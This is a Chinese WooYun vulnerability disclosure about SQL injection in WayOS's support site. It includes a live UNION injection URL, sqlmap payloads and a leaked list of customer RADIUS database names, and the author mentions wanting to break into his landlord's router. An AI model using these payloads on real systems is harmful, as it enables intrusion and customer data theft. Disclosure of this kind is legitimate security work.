由一个注入引发的血案(维盟路由储存客户radius信息)

admin 2015年8月10日19:33:04评论1,076 views字数 225阅读0分45秒阅读模式
摘要

2014-11-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-29: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2014-83277

漏洞标题: 由一个注入引发的血案(维盟路由储存客户radius信息)

相关厂商: www.wayos.cn

漏洞作者: 路人甲

提交时间: 2014-11-14 19:58

公开时间: 2014-12-29 20:00

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

3人收藏


漏洞详情

披露状态:

2014-11-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

房东给我拉了网线,坑爹的网速100k/s,收我¥50/月
本来想突破房东的路由,发现是wayos。
到官网溜溜

详细说明:

在子站下发现一枚注入

code 区域
http://help.wayos.cn//detail.php?hp_id=51%20and%201=2%20union%20select%201,concat%28user%28%29,0x20,database%28%29,0x20,version%28%29%29,3,4,5,6,7,8,9,10,11

由一个注入引发的血案(维盟路由储存客户radius信息)

漏洞证明:

使用sqlmap跑了一下

code 区域
sqlmap identified the following injection points with a total of 43 HTTP(s) requests:
---
Place: GET
Parameter: hp_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hp_id=47 AND 9686=9686

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: hp_id=47 AND (SELECT 6038 FROM(SELECT COUNT(*),CONCAT(0x3a736b6a3a,(SELECT (CASE WHEN (6038=6038) THEN 1 ELSE 0 END)),0x3a7670693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: hp_id=47 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a736b6a3a,0x486c4143774e454a534c,0x3a7670693a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: hp_id=47 AND SLEEP(5)
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hp_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hp_id=47 AND 9686=9686

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: hp_id=47 AND (SELECT 6038 FROM(SELECT COUNT(*),CONCAT(0x3a736b6a3a,(SELECT (CASE WHEN (6038=6038) THEN 1 ELSE 0 END)),0x3a7670693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: hp_id=47 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a736b6a3a,0x486c4143774e454a534c,0x3a7670693a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: hp_id=47 AND SLEEP(5)
---

然后发现了数据库里居然有差不多6000个database,我勒个去,这都是什么啊

数据库名:客户对wayos产品的命名+Radius

code 区域
available databases [5984]:
[*] a00jian_Radius
[*] A023A_Radius
[*] a03551_Radius
[*] a10000_Radius
[*] a100144_Radius
[*] a10104091_Radius
[*] a102699_Radius
[*] a107258222_Radius
[*] a109738668_Radius
[*] a111111112_Radius
[*] a11111111_Radius
[*] a11111_Radius
[*] a1111_Radius
[*] a112013_Radius
[*] a11788_Radius
.............
.............
.............
[*] zzq520_Radius
[*] zzqjsy_Radius
[*] zzsj0371_Radius
[*] zzvnet_Radius
[*] zzxqcdc_Radius
[*] zzy1981_Radius
[*] zzy8202003_Radius
[*] zzzfan007_Radius

修复方案:

#1,先修复注入

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-12-30 08:29 | 茜茜公主 ( 普通白帽子 | Rank:2409 漏洞数:414 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    3

    不仔细看我还以为是绿盟....

  2. 2014-12-30 13:25 | V-King ( 普通白帽子 | Rank:109 漏洞数:31 | 我是静静)

    1

    不仔细看我还以为是绿盟....

  3. 2014-12-30 13:47 | 阿一 ( 路人 | Rank:4 漏洞数:2 | /)

    1

    不仔细看我还以为是绿盟....

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin